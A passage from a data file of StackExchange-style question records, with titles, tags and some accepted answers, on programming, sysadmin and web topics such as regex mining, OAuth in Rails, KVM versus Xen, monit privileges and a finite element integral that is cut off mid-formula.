{ "id": "_cs.61038" , "question": "I am trying to classify the data in a database columns. DB has about 90 million entries.The main goal is to find different patterns in columns to leverage it for create look alike data. The data columns has entries which can easily look like patterns as : CUST1212,CUST1213,CUST1214..., number sequential after CUST CODE1213,CODE1242,CODE1289... random numbers after code CUST1213,MUST8324,FIFA12313... 009-123-2123,003-124-2314,006-213-5322, INTER122,INTER222,INTER322..., number increasing in batch of 100 OM|ON|TO, IO|OI|UH..., pipe delimited some 6 and 7 digits number.The issue is there are so many patterns and looks like creating patterns manually based on data is out of option.I would really appreciate if one can point to how can I build a collection of patterns preferably by usage frequency.What I started is 1. Segregate the data as per their length as patterns usually generate same string length, sorted them and stored them in different files. 2. Then classifying them further as per Alphabet prefix or numeric prefix. 3. For alpha-prefix segregate further on common alphabets at start.Now seems I am lost and sincerely hoping if one can point out to me what are my options and probably best to took.I believe if end of computation if get something like patterns in data and their frequency e.g. CUST[0-9]{4} -> 10k times, [a-zA-Z]{4} -> 50k times [0-9]{3}-[0-9]{3}-[0-9]{4} 10K times etc....., it would be great.Thanks" , "title": "Find string patterns preferably in regex for string streams" , "tags": "regular expressions;data mining;classification;pattern recognition" } { "id": "_webmaster.15113" , "question": "I'm redesigning a website. For certain content areas the layout is fine at my text size but screws up if I set the text any bigger. I often resize pages with Firefox, but the whole page resizes so the layout still works. So, should I worry about users having larger text but the same CSS otherwise? I don't know how to test for this sort of thing. The site works fine with every browser I've looked at it with. I know some usability devices change layouts but don't they ignore normal styles altogether?" , "title": "Do users resize text?" , "tags": "usability" , "accepted_answer": "it really depends on the target audience i'd say. if its a frontfacing website i think you should cover your bets and try and make it look good (or atleast usable) with increased text size, if its an internal website perhaps it doesnt matter so much..sorry for the vague awnser, but its really something the customer (internal or external) can awnser best " } { "id": "_webapps.1318" , "question": "Is there a web service that can receive faxes and store them in a PDF format? I would like to be able to keep my current fax number." , "title": "Is there a web service that can receive faxes and store them in a PDF format?" , "tags": "webapp rec;storage;pdf;fax" , "accepted_answer": "The answer given to this question can help you here.efax.com offers a service to keep your existing number. You have to ring to discuss it. The number I see is a UK one - I'm guessing because the site detects your locale and offers a local service - so I won't post it here as it won't apply to everyone." } { "id": "_codereview.27144" , "question": "I'm having trouble structuring the logic of OAuth integration into my web app. In the app, a user creates a Report that consists of data from their Google Analytics account.User steps:User clicks 'New Report'Google presents the 'Allow Access' page for OAuth accessUser is presented with a list of their GA web properties and selects oneA report is created using data from the selected web propertyMy issue is in structuring the code below.When the user clicks New Report, they are actually redirected to google_analytics#ga_session to begin the authorization process. The code to retrieve the user's web properties succeeds, but the code at the bottom needs to be refactored so it is reusable when retrieving web property data. The main two issues I can't figure out is how to make the Google Analytics instance reusable and how to structure the OAuth redirects. Retrieve web properties:GoogleAnalyticsControllerdef ga_session client = OAuth2::Client.new(ENV['GA_CLIENT_ID'], ENV['GA_SECRET_KEY'], { :authorize_url => 'https://accounts.google.com/o/oauth2/auth', :token_url => 'https://accounts.google.com/o/oauth2/token' }) redirect_to client.auth_code.authorize_url({ :scope => 'https://www.googleapis.com/auth/analytics.readonly', :redirect_uri => ENV['GA_OAUTH_REDIRECT_URL'], :access_type => 'offline' }) end def oauth_callback session[:oauth_code] = params[:code] redirect_to new_report_path endReportsControllerdef new @report = Report.new ga_obj = GoogleAnalytics.new ga_obj.initialize_ga_session(session[:oauth_code]) @ga_web_properties = ga_obj.fetch_web_propertiesendGoogleAnalytics modeldef initialize_ga_session(oauth_code) client = OAuth2::Client.new(ENV['GA_CLIENT_ID'], ENV['GA_SECRET_KEY'], { :authorize_url => 'https://accounts.google.com/o/oauth2/auth', :token_url => 'https://accounts.google.com/o/oauth2/token' }) access_token_obj = client.auth_code.get_token(oauth_code, :redirect_uri => ENV['GA_OAUTH_REDIRECT_URL']) self.user = Legato::User.new(access_token_obj) end def fetch_web_properties self.user.web_properties endRetrieve web property data: when creating the reportReportsControllerdef create @report = Report.new(params[:report]) @report.get_top_traffic_keywords(session[:oauth_code]) create!endReport Modeldef get_keywords(oauth_code) ga = GoogleAnalytics.new ga.initialize_ga_session(oauth_code) # this is a problem b/c the user will be redirected the new_report_path after the callack self.url = ga.fetch_url(self.web_property_id) self.keywords = # Get keywords for self.url from another service keyword_revenue_data(oauth_code)enddef keyword_revenue_data(oauth_code) ga = GoogleAnalytics.new ga.initialize_ga_session(oauth_code) revenue_data = # Get revenue dataend" , "title": "Rails service + OAuth" , "tags": "ruby;ruby on rails;oauth" } { "id": "_webmaster.58597" , "question": "I have read that Google Analytics supports click conversions (Tracking click conversions with Google Analytics).But I think I rather have conversions tracked within AdWords so I have a single source where I can monitor performance of specific campaigns.So, is there a way for me to setup click conversions within AdWords, I could not find it here https://support.google.com/adwords/answer/2375435 or here https://support.google.com/adwords/answer/1722054What I need specifically:be able to measure if a link with a specific class was clicked and of course assign that conversion to the campaign via which the user arrivedonly measure a conversion if a link was clicked by a user who camevia one of my AdWords campaigns (so a user who would navigate directly to my siteand clicked that link would not be tracked as a conversionUPDATEI do not have a landing page on which I can measure a conversion, since I'm an affiliate and don't sell the products myself, but redirect users to 3rd party publisher sites, I don't know whether a user actually buys the product. But I can get a pretty good indication of a conversion by measuring the click on a link that is directed to an external site. See how it works here: http://www.wonderweddings.com/weddingshopfrom this page and from any productdetail page the user can click to an external site. THAT is the click I want to set as a conversion." , "title": "Use Google Adwords to track click conversions" , "tags": "google adwords;tracking;conversions" } { "id": "_codereview.154933" , "question": "I solved this programming challenge:Given a 2D board and a word, find if the word exists in the grid. The word can be constructed from letters of sequentially adjacent cell, where adjacent cells are those horizontally or vertically neighboring. The same letter cell may not be used more than once.For example, Given board =[ ['A','B','C','E'], ['S','F','C','S'], ['A','D','E','E']]word = ABCCED, -> returns trueword = SEE, -> returns trueword = ABCB, -> returns falseclass Solution {public: bool DFS(vector> &board, string word, vector> visited, int i, int j, int curr) { if (i < 0 || j < 0 || i >= board.size() || j >= board[0].size()) { return false; } if (visited[i][j] || board[i][j] != word[curr]) { return false; } visited[i][j] = true; ++curr; if (curr == word.size()) { return true; } return DFS(board, word, visited, i + 1, j, curr) || // Down DFS(board, word, visited, i, j + 1, curr) || // Right DFS(board, word, visited, i - 1, j, curr) || // Up DFS(board, word, visited, i, j - 1, curr); // Left } bool exist(vector> &board, string word) { for (int i = 0; i < board.size(); ++i) { for (int j = 0; j < board[i].size(); ++j) { if (word[0] == board[i][j]) { vector> visited(board.size(), vector(board[0].size(), false)); if (DFS(board, word, visited, i, j, 0)) { return true; } } } } return false; }};My solution ranks at around 2% faster when compared to other solutions with the same language. My main desire from reviews are performance improvements." , "title": "Word Search in LeetCode" , "tags": "c++;performance;programming challenge;c++11" } { "id": "_unix.42357" , "question": "At work, I would like to use KDE's dolphin as a file manager. However, our home directories reside on an AFS share [1]. When starting dolphin, it becomes unresponsive for dozens of minutes. stracing it reveals that it tries to open all the nodes in our AFS tree:openat(AT_FDCWD, /afs/somewhereElse.tld, O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXECI need to stop dolphin from doing that; this behaviour makes the program completely unusable on AFS trees. Is there some setting that controls this?[1] If you have never worked with AFS before, for the sake of this question, assume that there is a root directory that has subtrees from different universities, research institutes etc. mounted below it. The data in those subtrees really reside at the remote sites, so access is slow and resource-intensive." , "title": "How can I stop dolphin from reading my entire home directory tree in order to make it usable on AFS?" , "tags": "kde;afs;dolphin" , "accepted_answer": "While this doesn't completely solve the problem raised here, there is an option called -dynroot-sparse in the OpenAFS client these days, which tries to reduce the number of directories that are visible under /afs. That can help avoid processes from trying to traverse all AFS cells in the world just by reading the directories in /afs (but it doesn't prevent anything from traversing everything in your local cell). See afsd(8).KDE stuff just really needs to detect networked filesystems, and default to not traversing the whole thing (many programs do similar things, just by detecting certain filesystems like AFS, NFS, sshfs, etc). Here is a bug about this general issue, if you want to raise this there: https://bugs.kde.org/show_bug.cgi?id=178678. It sounds like this is still a problem." } { "id": "_cstheory.20401" , "question": "Regex Equivalence is a hard problem which in general takes exponential space and exponential time. Are there any approximation/sub-optimal algorithms with some theoretical guarantees over equivalence available?" , "title": "Sub optimal regex equivalence" , "tags": "approximation algorithms;automata theory;regular expressions" } { "id": "_codereview.63995" , "question": "This is a sort of follow up to my previous question:Counting the number of character occurrencesThis time I have written code that still counts the number of different characters in a string, but with the added ability to find categories of characters. For example, finding how many numbers are in the string, how many punctuation characters are in the string.Is there anything I should be doing differently? Any improvements? Also, I'm trying to learn better OOP design and software design and best practice, so any advice on that would also be helpful.A couple of notes:From what I've read immutable objects are preferred, so I created the results class to have private setters and return a read only dictionary to stop something else from changing it.Is the way I've created the CharacterCountResult object from CharacterCount a good thing to do? As in, am I doing it correctly?static void Main(string[] args){ var i = CharacterCount.Count(@Hello, World! $% ^ powejdoiwr3u?!?!!/1;';'\\\\z\\\\]p[\\][z]z\\,.,/???); // Demonstrating some of the avaliable properties Console.WriteLine(Alphanumeric: {0}\\nLowercase: {1}\\nUppercase: {2}\\nPunctuation: {3}\\nDigits: {4}\\nSymbols: {5}, i.LetterAndDigitCount, i.LowercaseCount, i.UppercaseCount, i.PunctuationCount, i.DigitCount, i.SymbolCount); foreach (var character in i.GetCharacterDictionary()) { Console.WriteLine({0} - {1}, character.Key, character.Value); }}This is the class that counts the characters in the string:class CharacterCount{ public static CharacterCountResult Count(string stringToCount) { var tempDictionary = new Dictionary(); uint controlCount = 0; uint highSurrogatecount = 0; uint lowSurrogateCount = 0; uint whiteSpaceCount = 0; uint symbolCount = 0; uint punctuationCount = 0; uint separatorCount = 0; uint letterCount = 0; uint digitCount = 0; uint numberCount = 0; uint letterAndDigitCount = 0; uint lowercaseCount = 0; uint upperCaseCount = 0; // Build dictionary of characters and occurrence of characters. foreach (var character in stringToCount) { if (!tempDictionary.ContainsKey(character)) { tempDictionary.Add(character, 1); } else { tempDictionary[character]++; } } // Iterate over string and count various types of characters. foreach (var character in stringToCount) { if (char.IsNumber(character)) { numberCount++; } if (char.IsPunctuation(character)) { punctuationCount++; } if (char.IsSeparator(character)) { separatorCount++; } if (char.IsSymbol(character)) { symbolCount++; } if (char.IsUpper(character)) { upperCaseCount++; } if (char.IsWhiteSpace(character)) { whiteSpaceCount++; } } var result = new CharacterCountResult(controlCount, highSurrogatecount, lowSurrogateCount, whiteSpaceCount, symbolCount, punctuationCount, separatorCount, letterCount, digitCount, numberCount, letterAndDigitCount, lowercaseCount, upperCaseCount, tempDictionary); return result; }}And this class is the result of the character counting. It has properties which can be used to find the number of different types of characters as well as a method which returns a ReadOnlyDictionary that can be used to find the number of times each specific character occurs:class CharacterCountResult{ // Unicode special characters. public uint ControlCount { get; private set; } public uint HighSurrogateCount { get; private set; } public uint LowSurrogateCount { get; private set; } // Textual special characters. public uint WhiteSpaceCount { get; private set; } public uint SymbolCount { get; private set; } public uint PunctuationCount { get; private set; } public uint SeparatorCount { get; private set; } //Letters, digits, numbers. public uint LetterCount { get; private set; } public uint DigitCount { get; private set; } public uint NumberCount { get; private set; } public uint LetterAndDigitCount { get; private set; } public uint LowercaseCount { get; private set; } public uint UppercaseCount { get; private set; } private Dictionary _characterDictionary = new Dictionary(); public CharacterCountResult(uint controlCount, uint highSurrogateCount, uint lowSurrogateCount, uint whiteSpaceCount, uint symbolCount, uint punctuationCount, uint separatorCount, uint letterCount, uint digitCount, uint numberCount, uint letterAndDigitCount, uint lowercaseCount, uint uppercaseCount, Dictionary characterDictionary) { ControlCount = controlCount; HighSurrogateCount = highSurrogateCount; LowSurrogateCount = lowSurrogateCount; WhiteSpaceCount = whiteSpaceCount; SymbolCount = symbolCount; PunctuationCount = punctuationCount; SeparatorCount = separatorCount; LetterCount = letterCount; DigitCount = digitCount; NumberCount = numberCount; LetterAndDigitCount = letterAndDigitCount; LowercaseCount = lowercaseCount; UppercaseCount = uppercaseCount; _characterDictionary = characterDictionary; } public ReadOnlyDictionary GetCharacterDictionary() { var readOnly = new ReadOnlyDictionary(_characterDictionary); return readOnly; }}" , "title": "Counting occurrences of different categories of characters" , "tags": "c#;beginner;object oriented;design patterns" , "accepted_answer": "The good:Good naming, both in following conventions and in picking expressive namesYour approach is good procedurally- e.g. good use of the dictionary and in-build char methods.Putting the results in their own class and making it immutable through the use of private setters and the ReadOnlyDictionary is smart.In terms of areas for potential improvement, reviewing is made somewhat difficult because of the nature of the made-up requirements this code is fulfilling. To demonstrate why, here's my train of thought:It's not very realistic that you always want to get all this information together, so the first thing might be to think how to extract each piece of information individually. The first step in doing this would be to extract out the individual counts into their own methods, like:public int CountLetters(string stringToCount){ var letterCount = 0; foreach(var character in stringToCount) { if (char.IsLetter(character)) { letterCount++; } } return letterCount;}Unfortunately as you can see, this is pretty quickly going to end up with a load of really similar methods, all of which are frustratingly large. The solution to this is two-fold. First, because the only difference between the methods is which char function we call, the use of Func can cut it down to just one method:public int CountLetters(string stringToCount, Func predicate){ var letterCount = 0; foreach(var character in stringToCount) { if (predicate(character)) { letterCount++; } } return letterCount;}Second, we can use LINQ:public int CountLetters(string stringToCount, Func predicate){ return stringToCount.Count(predicate);}And now we find the method is so simple that it probably doesn't need to be its own method at all. For example, if in the middle of some other method I wanted to count how many characters in a string were letters I could just do:var letterCount = myString.Count(char.IsLetter);This goes back to what I was saying about this being difficult code to review, because it essentially exists to fulfill requirement which is already fulfilled so simply by the .NET framework.However, if we go with the fiction that exposing the counts for all those different char methods for a single string is something that is done commonly throughout your program, then your approach is sensible. Using the LINQ-style counting above, you can remove the second foreach statement and all the ifs inside, replacing them with one-liners. You can also remove all the variable declarations and feed them right into the result constructor, since they are so simple:return new CharacterCountResult( stringToCount.Count(char.IsControl), //etc...Going forward, my suggestion is that you'll learn more about design by tackling problems that are a little more realistic than this one, and they will probably garner more informative reviews, too." } { "id": "_softwareengineering.348367" , "question": "I'm fiddling around with OOP in building simple CRUD systems.I've decided to focus on using the Repository Pattern for separating Object business logic and Object data persistence (actually saving the object in a persistent data store, i.e a database).Saving a simple object is straightforwardclass Customer { setData(data) { this.data = data; }}// PUT Customercustomer = new Customer();customer.setData(data);customerRepo.save(customer);But saving a composite object becomes a bit complicatedBut what happens if my Customer class is now includes other objects that also need to be persisted in the DB?In the following example, setting a customer's data also needs to create anAuditTrail which is a set of differences between the previous data and the new data passed in customer.setData().AuditTrail is a class and in this example it's a classic has-a relationship between Customer and AuditTrailclass Customer { setData(data) { // instantiate an auditTrailCalculator with some constants from the DB auditTrail = auditTrailRepo.create(); // `calculate()` produces a diff between the previous data and the new data this.auditTrail = auditTrail.calculate(this.data, data); } getAuditTrail() { return this.auditTrail; }}// PUT customercustomer = Customer();customer.setId(customerId);customer.setData(data);customerRepo.update(customer);auditTrailRepo.insert(customer.getAuditTrail());The above example looks clumsy.I'm instantiating the AuditTrail object using it's repo from within the Customer Object.For performing the whole update of a Customer I clumsily:Instantiate a new CustomerSet it's dataGet it's auditTrail that was generated inside the objectSave the AuditTrail to the DB using the AuditTrailRepoSave the Customer to the DB using the CustomerRepoMy questions:Is it correct to instantiate objects from their repo's from within other objects?Should I create a factory function instead, which instantiates both Objects, Customer & AuditTrail and return a composition of the 2?How should I handle saving this composite object? " , "title": "Handling composite objects in the Repository Pattern" , "tags": "object oriented" , "accepted_answer": "This is clear example of Aggregate as seen in Domain Driven Design.In this case, the AuditTrail is part of Customer's aggregate. And according to DDD, repositories are per-aggregate, not per-entity. So in your case, there would be only CustomerRepository, which would write an audit every time Customer is updated." } { "id": "_unix.379087" , "question": "I have a linux mint Cinnamon desktop running in HiDPI.When I try to connect to it with a VNC client from my macbook (retina/hidpi display), the desktop shows up about 4x too big.I tried with mac's built in VNC viewer and also the real VNC client.I tried different settings in Real VNC's expert mode preferences - Scaling - AspectFit, 25%, etc; nothing seems to change the scaling." , "title": "VNC to a linux desktop in HiDPI mode won't scale properly" , "tags": "linux;osx;vnc;display" } { "id": "_codereview.164194" , "question": "I've made the following backwards transformation from a transformed source x,y point, to the resulting index of the actual image that I have, so I can avoid black spots appearing in my barrel eye lens image. I've used the formula focal_length * arctan(radius, focal_length) for image undistortion. Here is the code I've used (its part of another class, but the rest of the class is not important):double BarrelAbberationClass::toDistortedRadius(const double r) const { return m_focal_length * atan2(r, m_focal_length);}cv::Vec2d BarrelAbberationClass::transformBackward(const cv::Point &source_xy, const cv::Mat &affine, const cv::Vec2d ¢er) { const double x_affined = source_xy.x * affine.at(0, 0) + affine.at(0, 2); const double y_affined = source_xy.y * affine.at(1, 1) + affine.at(1, 2); const double r = cv::norm(cv::Vec2d(x_affined, y_affined)); const double theta = atan2(y_affined, x_affined); const double new_r = toUnDistortedRadius(r); const double new_i = (new_r * sin(theta) + center[1]); const double new_j = (new_r * cos(theta) + center[0]); return cv::Vec2d(new_j, new_i);}Basically, given a source x,y point, affine matrix for the transformation account for the center of my image actually being width/2 and height/2, and the visual bounds I would even be able to grab from in the non transformed image, then I warp the x and y affined points to the correct undistorted plane and return the calculated row and column i, j that would correspond to points in the original image (these must be floating point for use later in bilinear interpolation of positions in between others) I should also note that the code with affine.at(...) were originally matrix operations. I saw in the profiler that this was slowing doing my code. Removing the matrix creation routines caused by matrix operations here increased my speed by 4.When profiling this code (I'm forced to use Windows + MingW for this, so I don't have many convenient profiling options; I've been using gprof) it looks like tan, cos, sin, and atan2 take up the vast majority of the time at -O3, with atan2 cos and sin each taking about 20% of the time.Here is the full implementation to give context:double BarrelAbberationClass::toDistortedRadius(const double r) const { return m_focal_length * atan2(r, m_focal_length);}cv::Vec2d BarrelAbberationClass::transformBackward(const cv::Point &source_xy, const cv::Mat &affine, const cv::Vec2d ¢er) { const double x_affined = source_xy.x * affine.at(0, 0) + affine.at(0, 2); const double y_affined = source_xy.y * affine.at(1, 1) + affine.at(1, 2); const double r = std::hypot(x_affined, y_affined); const double new_r = toUnDistortedRadius(r); const double new_i = center[1] + (new_r / r) * y_affined; const double new_j = center[0] + (new_r / r) * x_affined; return cv::Vec2d(new_j, new_i);}double bilinearInterpolate(const cv::Mat &cv_source, const float x, const float y) { const int px = static_cast(x); const int py = static_cast(y); const double p1 = cv_source.at(py, px); const double p2 = cv_source.at(py, px + 1); const double p3 = cv_source.at(py + 1, px); const double p4 = cv_source.at(py + 1, px + 1); const float fx = x - px; const float fy = y - py; const float fx1 = 1.0f - fx; const float fy1 = 1.0f - fy; const float w1 = fx1 * fy1; const float w2 = fx * fy1; const float w3 = fx1 * fy; const float w4 = fx * fy; return p1 * w1 + p2 * w2 + p3 * w3 + p4 * w4;}double BarrelAbberationClass::toUnDistortedRadius(const double r) const { return m_focal_length * tan(r / m_focal_length);}cv::Point BarrelAbberationClass::transformForward(const cv::Point &source_xy, const cv::Vec2d ¢er) { const double x_translated = source_xy.x -center[0]; const double y_translated = source_xy.y -center[1]; const double r = std::hypot(x_translated, y_translated); const double new_r = toDistortedRadius(r); const uint64_t new_i = static_cast(center[1] + (new_r / r) * y_translated); const uint64_t new_j = static_cast(center[0] + (new_r / r) * x_translated); return cv::Point(new_j, new_i);}cv::Mat BarrelAbberationClass::getScaleMatrix(const cv::Rect &bounds, const cv::Vec2d ¢er) { const cv::Point new_tl = transformForward(bounds.tl(), center); const cv::Point new_br = transformForward(bounds.br(), center); const cv::Point diff = new_br - new_tl; const double scale_x = diff.x / static_cast(bounds.width); const double scale_y = diff.y / static_cast(bounds.height); const double scale = scale_x > scale_y ? scale_x : scale_y; cv::Mat scale_matrix = (cv::Mat_(3, 3) << scale, 0, 0, 0, scale, 0, 0, 0, 1); return scale_matrix;}cv::Mat& BarrelAbberationClass::calculateAberation(cv::Mat& imageData) { const double center_x = imageData.size().width / 2; const double center_y = imageData.size().height / 2; const cv::Vec2d center(center_x, center_y); const cv::Mat translate = (cv::Mat_(3, 3) << 1, 0, -center_x, 0, 1, -center_y, 0, 0, 1); const cv::Mat cpy = imageData.clone(); imageData.setTo(cv::Scalar(0)); const cv::Rect bounds(cv::Point(), cpy.size()); const cv::Mat scale = getScaleMatrix(bounds, center); const cv::Mat affine = scale * translate; for (uint64_t i = 0; i < cpy.rows; ++i) { for (uint64_t j = 0; j < cpy.cols; ++j) { const cv::Vec2d new_dpoint = transformBackward(cv::Point(j, i), affine, center); const cv::Point new_point = {new_dpoint[0], new_dpoint[1]}; if (bounds.contains(new_point)) { imageData.at(i, j) = bilinearInterpolate(cpy, new_dpoint[0], new_dpoint[1]); } } } return imageData;}Here is the .h fileclass BarrelAbberationClass{protected: const double m_focal_length;public: BarrelDegredation(const double focal_length) : m_focal_length(focal_length) {}; cv::Mat& calculateAberation(cv::Mat& imageData); double toDistortedRadius(const double r) const; double toUnDistortedRadius(const double r) const; cv::Point transformForward(const cv::Point &source_xy, const cv::Vec2d ¢er); cv::Mat getScaleMatrix(const cv::Rect &bounds, const cv::Vec2d ¢er); cv::Vec2d transformBackward(const cv::Point &source_xy, const cv::Mat &affine, const cv::Vec2d ¢er);}" , "title": "Backward transformation implementation for a barrel eye lens aberration in c++ 14 (using opencv)" , "tags": "c++;matrix;c++14" , "accepted_answer": "It might make no difference to performance, but it may be a little better to use std::hypot() rather than create a temporary cv::Vec2d.You can avoid working with the angle theta, simply by using the ratio new_r/r to scale the distance from centre. Something like:const double r = std::hypot(x_affined, y_affined);const double new_r = toUnDistortedRadius(r);const double new_i = center[1] + (new_r / r) * y_affined;const double new_j = center[0] + (new_r / r) * x_affined;I've parenthesized new_r / r just in case your compiler needs extra help to hoist this common expression.I'm guessing that you're passing this function to a general-purpose transform function in OpenCV. If you have control over the order in which the output pixels are iterated, and if the affine transformation has no shear components (just translation and rotation), you might be able to reduce the calculation of r and new_r almost eightfold by observing that (relative to the centre position), r is the same for x,y and y,x. This will hit your locality of reference, though, so may not be as significant as it sounds!" } { "id": "_softwareengineering.342592" , "question": "I read this in a book:Most of the time, calls to third-party products are entangled throughout the code. But if you really abstracted the idea of a database outto the point where it simply provides persistence as aservicethen you have the flexibility to change horses in midstream.Could you please explain to me in plain English (or by example) what does the idea written above in bold mean?EDIT:I quoted the paragraph above from a book called: The Pragmatic Programmer on page 60. The more appropriate tag for my question is reversibility but it is not available." , "title": "persistence as a service: what does that mean?" , "tags": "scalability" , "accepted_answer": " as a service usually means that an application programmer can forget about an aspect of component of the system they are programming entirely. For instance, platform as a service means that you pay a cloud provider money, and they provide you with a ready-to-use running machine with no questions asked - you never again have to worry about security patches, server location, electricity cost or anything else that is usually necessary in order to maintain an array of machines usable for your purposes.Analogously, persistence as a service would mean that storing things to database and retrieving them is handled completely transparently. Ideally, you would create objects in your business domain and simply expect that they are still available and up to date the next time your code runs, without ever programming explicit calls to EntityManager.persist() or Transaction.commit() or any of the plumbing code that is usually necessary to achieve this. I'm uncertain how closely this ideal can actually be approached, but it would certainly be very nice to have." } { "id": "_scicomp.14470" , "question": "I was 7 years old when I learnt BASIC. Then I learnt C and Visual Basic till the age of 13. I stopped programming for 4 years continuously, and don't remember much about it now. I have lost the skill, and need to do learn it all over again.How can I learn basics and the terminology of programming all over again using C?Can someone suggest an E-Book for that?" , "title": "Beginning Computer Programming" , "tags": "c" } { "id": "_unix.219258" , "question": "I'm trying to install monit on an Ubuntu 12.04 server. I have it set up, and configured (i think), but i'm not sure what user it's supposed to run as.My user on the server is called deploy, and my monitrc file looks like this:$ ls -l /etc/monit/monitrc-rwx------ 1 deploy deploy 10229 2015-07-30 12:38 /etc/monit/monitrcie, it's owned by the user i log into the server with. I've started the monit daemon, and i can see it running with ps and i can log into the web interface for it.What i'm unsure about is how to give it priveleges to restart processes. For example, nginx: if i want to restart nginx myself i need to do sudo /etc/init.d/nginx restartDoes this mean that monit needs to do sudo as well in order to restart it? Or, should i configure monit with its own user, and set that user up so that it can restart nginx (and any other services which monit needs to restart or access) without sudo?thanks, Max " , "title": "User settings for monit? Should it run as root, or it's own user?" , "tags": "ubuntu;sudo;nginx;monit" , "accepted_answer": "Yes, monit either needs to run sudo, or to be running as the root user. Configuring monit as its own user with the correct permissions is also viable however it is probably the most involved of the potential solutions.Generally running sudo from scripts is not viable as it will prompt for a password. It is possible to stop sudo prompting for a password in specific situations by editing /etc/sudoers. The answer to this question explains a suitable approach." } { "id": "_unix.255226" , "question": "I've spent a few hours trying to understand the differences between KVM and Xen without much succes. So both are Type 1 Hypervisors with comparable performances (source) and I don't understand what differenciates them.The only specific needs I have are that the guest OS isn't able to interract with the hosts's files (which seems to be the default behaviour) and that both the host and the guest can use their own GPU for video rendering. That seems not to be a problem as both Xen and KVM support some kind of GPU/VGA/PCI pass-through as long as there are two physical graphics cards.So what are the differences between Xen and KVM ? Is one or the other more suitable for graphical performances ?Thanks in advance for the help :)" , "title": "Should I use KVM or Xen ? What are the main differences?" , "tags": "kvm;graphics;xen;gpu" , "accepted_answer": "KVM is normally supported already via libvirt and the kernels in modern distros without much hassle. You just need a CPU that has VT-d extensions (or AMD-V for AMD processors), and your BIOS has to have it enabled. After that, it's all about installing the necessary packages to get it going. XEN, yes, does support it. Xen is literally its own platform. A long time back, it was once known that Xen had the most documentation on IOMMU and VGA passthrough. Now, you'll find multitudes of users using KVM in a similar manner with high rates of success (I am one of them, using F23, GTX970 to a Windows VM for gaming).To answer your question though, the primary difference is that KVM is has had a lot of work put into it by Red Hat and the open source community, since Red Hat dropped Xen in 2009 in favor of KVM. This should in no way sway your options. You'll find varying benchmarks that show KVM outperforming Xen on numerous occasions, with KVM just being 5% slower than bare metal. Now, Xen does come with a bigger feature set than KVM out of the box, but a lot of it is for migrations and other things that you would consider enterprise. I personally believe you should try both and see what works better for you. There are many guides to choose from and to work on, based on your distribution of choice." } { "id": "_codereview.74775" , "question": "I'm actually creating an AI for the online contest Vindinium. The fact is that's also an exam for my school because I'm going to have a note with that work.I created an AI based on ants pheromones with a recursive function. The bot is working but only on small maps. I need to send my answer turn after turn (which movement my bot is going to make) in only one second. But one of my functions: to apply all ant pheromones on the map is taking too long.At each turn, if my bot has got a new objectif, he is going to spreads pheromones on the map with some value on each squares of the map. An on each square the value can propagate to to all neighbors until the square of the final destination.public function appliCoeff($x, $y, $sx, $sy, $value){ // Optimisation du code $newval = $value+1; if( /* Special condition */ ) $this->setReccurence($x, $y-1, $sx, $sy, $newval); if( /* Special condition */ ) $this->setReccurence($x-1, $y, $sx, $sy, $newval); if( /* Special condition */ ) $this->setReccurence($x+1, $y, $sx, $sy, $newval); if( /* Special condition */ ) $this->setReccurence($x, $y+1, $sx, $sy, $newval); if( /* Special condition */ ) $this->appliCoeff($x, $y-1, $sx, $sy, $newval); if( /* Special condition */ ) $this->appliCoeff($x-1, $y, $sx, $sy, $newval); if( /* Special condition */ ) $this->appliCoeff($x+1, $y, $sx, $sy, $newval); if( /* Special condition */ ) $this->appliCoeff($x, $y+1, $sx, $sy, $newval);}Do you have any idea to optimize it? Do you think threads are a good idea? I never used them and I don't know if it's such a good idea to parallelize treatments?" , "title": "AI for an online contest" , "tags": "php;optimization;performance;recursion" } { "id": "_unix.162900" , "question": "What is this folder: /run/user/1000 on my Fedora system and what does it do?~ $ df -hFilesystem Size Used Avail Use% Mounted ontmpfs 1.2G 20K 1.2G 1% /run/user/1000" , "title": "What is this folder /run/user/1000?" , "tags": "directory structure" , "accepted_answer": "/run/user/$uid is created by pam_systemd and used for storing files used by running processes for that user. These might be things such as your keyring daemon, pulseaudio, etc.Prior to systemd, these applications typically stored their files in /tmp. They couldn't use a location in /home/$user as home directories are often mounted over network filesystems, and these files should not be shared among hosts. /tmp was the only location specified by the FHS which is local, and writable by all users.However storing all these files in /tmp is problematic as /tmp is writable by everyone, and while you can change the ownership & mode on the files being created, it's more difficult to work with.So systemd came along and created /run/user/$uid. This directory is local to the system and only accessible by the target user. So applications looking to store their files locally no longer have to worry about access control.It also keeps things nice and organized. When a user logs out, and no active sessions remain, pam_systemd will wipe the /run/user/$uid directory out. With various files scattered around /tmp, you couldn't do this." } { "id": "_unix.105759" , "question": "In my previous question I have learned how to implement trash functionality in mutt. unset confirmappendfolder-hook . set trash==trashfolder-hook trash$ unset trashThat works well, except that I have to confirm every deletion. I would like it to work without the delete confirmation. So that I only need to press d and then $ to sync, without being asked for confirmation.Can somebody please suggest how to do it?" , "title": "mutt: trash macro" , "tags": "mutt" } { "id": "_scicomp.27441" , "question": "I need to integrate the following function on the line segment from $P_{1} = \\begin{bmatrix}-2\\\\-1\\end{bmatrix}$ to$P_{2} = \\begin{bmatrix}1\\\\2\\end{bmatrix}$:$$\\int_{P_{1}}^{P_{2}} 4x + y \\ ds$$This question take part into the implementation of a 2D finite element solver. How I plan to do itSuppose that the following transformation is used to transform a general triangular element K to the standard triangular element $T_{st}$ :$$ x = P(\\xi,\\eta) $$$$y = Q(\\xi,\\eta)$$This corresponds to this physical mapping in fact:Then we have:$$dx = \\frac{\\delta x}{\\delta \\xi}d\\xi + \\frac{\\delta x}{\\delta \\eta}d\\eta = J_{11}d\\xi + J_{21}d\\eta $$$$dy = \\frac{\\delta y}{\\delta \\xi}d\\xi + \\frac{\\delta y}{\\delta \\eta}d\\eta = J_{12}d\\xi + J_{22}d\\eta $$Along the side $P_{1} - P_{2}$, the coordinate $\\xi$ is in fact always fixed. So we can write $d\\eta = 0$ . Using this it comes:$$ dx = (\\frac{\\delta x}{\\delta \\xi})_{\\eta = 0} \\ d\\xi = J_{11}(\\xi,0) d\\xi $$$$ dy = (\\frac{\\delta y}{\\delta \\xi})_{\\eta = 0} \\ d\\xi = J_{12}(\\xi,0) d\\xi $$Therefore:$$ ds = \\sqrt{J_{11}^{2}(\\xi,0)+ J_{12}^{2}(\\xi,0)} d\\xi $$So we can rewrite the integral with a variable change accordingly:$$\\int_{P_{1}}^{P_{2}} 4x + y \\ ds = \\int_{0}^{1} B(P(\\xi,0),Q(\\xi,0)) \\ \\sqrt{J_{11}^{2}(\\xi,0)+ 